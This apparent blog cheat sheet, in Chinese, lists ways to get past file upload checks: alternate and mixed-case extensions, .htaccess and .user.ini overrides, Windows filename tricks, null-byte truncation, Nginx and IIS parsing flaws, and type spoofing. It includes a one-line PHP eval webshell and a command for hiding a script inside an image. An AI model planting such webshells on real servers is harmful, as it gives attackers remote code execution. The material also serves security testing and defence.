文章共 653 字,阅读完预计需要 1 分钟 6 秒。文章篇幅适中,可以放心阅读。

前端

js绕过

修改上传文件的后缀为图片后缀,再通过抓包修改为对应可解析文件后缀名。

后端

黑名单绕过

后缀替换

通过更换黑名单中没有的可解析文件后缀,进行文件上传。

语言

默认服务器可解析后缀

可替换文件后缀

asp.net

IIS

asp,aspx,asa,asax,ascx,ashx,

asmx,cer,aSp,aSpx,aSa,aSax,

aScx,aShx,aSmx,cEr

php

Apache

php,php5,php4,php3,php2,

pHp,pHp5,pHp4,pHp3,pHp2,

html,htm,phtml,pht,Html,Htm,

pHtml

jsp  

tomcat

jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,

jSpx,jSpa,jSw,jSv,jSpf,jHtml

大小写绕过

通过更改后缀的大小写来进行绕过,如PHp,phP等来绕过。

.htaccess解析

需要上传.htaccess文件,文件内容:

<FilesMatch "\.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

上传后所有.jpg文件内容,可以进行php解析。

:前提条件,http.conf在此文件中设置 AllowOverride All ,才能使用.htaccess文件

.user.ini解析

.user.ini就是用户自定义的一个php.ini,且.user.ini和.htaccess一样是目录的配置文件。

.user.ini文件有两个参数可以用来包含文件,让包含的文件解析成php。

auto_prepend_file = <filename> //包含在文件头
auto_append_file = <filename> //包含在文件尾

利用方法:

1、上传.user.ini

.user.ini文件内容:

auto_prepend_file = 1.jpg

2、上传一个包含php语句的1.jpg文件

3、第三步访问该目录下的php文件就会解析png中的php语句

这样访问该目录下的一个php文件就会包含1.jpg文件中php语句然后解析。

(win)点绕过

Windows系统下,文件后缀名最后一个点会被自动去除。

Linux系统下,系统下,文件后缀名最后一个点不会被自动去除

(win)空格绕过

Windows系统下,对于文件名中空格【demo.php(空格)】会被作为空处理,程序中的检测代码却不能自动删除空格,从而绕过黑名单。

(win)点绕过和空格绕过结合

例如:
a.php[空格](点)[空格]
a.php .
a.php(点)[空格](点)

(win)::$DATA绕过

在window系统下,如果上传的文件名为a.php::$DATA,它会在服务器上生成一个a.php的文件,其中内容和所上传内容相同,并被解析。

白名单绕过

%00截断(0x00

当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。

中间件解析漏洞

Nginx 解析漏洞

在文件后面加上/xx.php(xx可加可不加)就会将该文件以php格式执行

该漏洞属于用户配置不当造成的解析漏洞。

IIS解析漏洞

IIS 6.0解析漏洞有两种利用方式

(1)在.asp目录下的任意文件会以asp格式解析

(2);截断,上传test.asp;.jpg是一个jpg文件但是会以asp执行

IIS 7.0解析漏洞

在文件后面加上/xx.php(xx可加可不加)就会将该文件以php格式执行

文件类型绕过

MIME绕过(Content-Type属性绕过

修改类型或使用图片马,抓包修改文件后缀上传。

文件头检查绕过(突破exif_imagetype()

上传具有正常文件头的图片马即可。

gif的文件头为GIF89apng的文件头为89504E47jpg的文件头为FFD8FF

js语句执行解析文件内容

<script language="php">eval($_POST['1']);</script>

竞争条件

发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。

前提:文件上传到了服务器,在对文件检查和修改时可正常访问

多线程并发访问上传的文件。

生成图片马

使用 cmd 的 copy 指令进行制作

copy 图片.jpg/b + 脚本.php/a 333.jpg

参考链接

https://blog.csdn.net/cosmoslin/article/details/120793126

https://blog.csdn.net/2301_81864699/article/details/143099369

https://blog.csdn.net/weixin_46684578/article/details/119141109

https://xz.aliyun.com/news/6387